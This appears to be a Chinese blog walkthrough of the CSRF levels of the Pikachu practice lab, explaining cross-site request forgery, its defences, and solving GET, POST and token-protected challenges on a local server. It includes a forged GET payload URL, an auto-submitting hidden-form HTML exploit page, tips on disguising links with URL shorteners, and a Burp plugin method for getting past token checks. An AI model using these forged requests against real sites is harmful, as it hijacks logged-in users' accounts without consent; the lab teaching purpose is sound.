Pikachu-----CSRF(跨站请求伪造)

目录

 一、CSRF

1.简介

二、闯关

1.CSRF(get)

 2.CSRF(post)

 3.CSRF---Token


 一、CSRF

1.简介

1.1 官方介绍

 差不多就这几点

CSRF是什么

CSRF全称为跨站请求伪造(Cross-site request forgery),是一种网络攻击方式,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。也被称为 one-click attack 或者 session riding。

CSRF攻击原理

CSRF攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。本质是借用户的权限完成攻击,因此攻击成功需要用户已经通过验证获得了权限,并触发了攻击者提供的请求。

CSRF的判断

判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。

CSRF的预防

网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等

二、闯关

1.CSRF(get)

 我们看提示,有用户名和密码。

 登录进去是这个页面

 点击修改信息,把性别改为girl

 发现顶部url并没有什么变化。

 bp抓包看看。

从抓包可见,修改用户信息的时候,是不带任何不可预测的认证信息的。那么,这里应该是可以被利用的。 

在allen登录状态下(其实这个链接里面是不包含用户名的,谁登录都无所谓,只要有人登录着就行,登录着的用户的信息就会被改成url提供的那些),试试改一改上面的链接,比如把电话号码改一改。浏览器地址栏输入payload:

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=17867676677&add=nba+76&email=allen%40pikachu.com&submit=submit 

 url输入Payload,修改成功。

如果被攻击者此时登录状态或cookie/session没有过期,则信息被修改。 

我们可以用短链接生成网址,生成短链接,进行利用,

 性别成功改为boy,攻击成功

 2.CSRF(post)

 出现报错是因为php版本过高,打开php文件,在MYSQL后加一个l就好了。

bp抓包

post类型,URL不再显示修改参数,所以无法再使用上述办法(即通过URL来伪造请求)进行修改,但是抓包可以知道本页面中有的标签以及name,方便后面构造表单时使用。

post类型的比get类型利用起来要烦一点,需要攻击者自己写个利用该漏洞的html文件,放在自己服务器上,并发给用户请求这个html文件的链接。

构造带有修改信息的csrf.html

<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="girl" />
                <input type="hidden" name="phonenum" value="123456789" />
                <input type="hidden" name="add" value="usa" />
                <input type="hidden" name="email" value="[email protected]" />
                <input type="hidden" name="submit" value="submit" />
              <input id="submit" type="submit" value="Submit request" style="display:none"/>                    
	<!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html> 

 放在pikachu目录下

部署在小皮上

 打开新网址,访问http://127.0.0.1/pikachu/csrf.html

 如果出现404,应该是以下原因csrf_post.php文件中如果检测到用户没有登录,会跳转到同文件夹(csrfpost)下的csrf_get_login.php,但事实上csrfpost文件夹下并没有这个文件,因此会返回404 not found。

打开csrfpost.php,把header("location:csrf_get_login.php");改成header("location:csrf_post_login.php"); 

 输入http://127.0.0.1/pikachu/csrf.html ,攻击成功。

 3.CSRF---Token

我们修改信息并用bp抓包,发现token的值。

 发送至Repeater

删掉token,发现没有成功修改。

 在抓一次,token之间也没有规律可言。

 谷歌浏览器bp抓包

把在谷歌浏览器抓到的token放到火狐浏览器的包中,发现还是修改不了。

可是,我们还是有办法的,这里我们可以使用bp的插件CSRF Token Tracker绕过token验证。

打开CSRF token的插件,Host输入主机ip,name输入token,Value输入token的值。

 这是没有打开bp token插件之前,修改不会生效。

 开启插件,他会随机生成t相应的oken值。

 攻击成功!!!

 虽然token的值不能删掉,也没有规律可言,从谷歌浏览器修改得到的token值,到火狐浏览器还是不可用,但我们还是能够用一些绕过的方法进行攻击,可见靶场对token的验证还有一些问题。

源码

修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。

修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。 

 

 set_token()函数如下图所示,在生成新token之前会先销毁老token,避免token重复使用

猜你喜欢

转载自blog.csdn.net/m0_65712192/article/details/128363288
今日推荐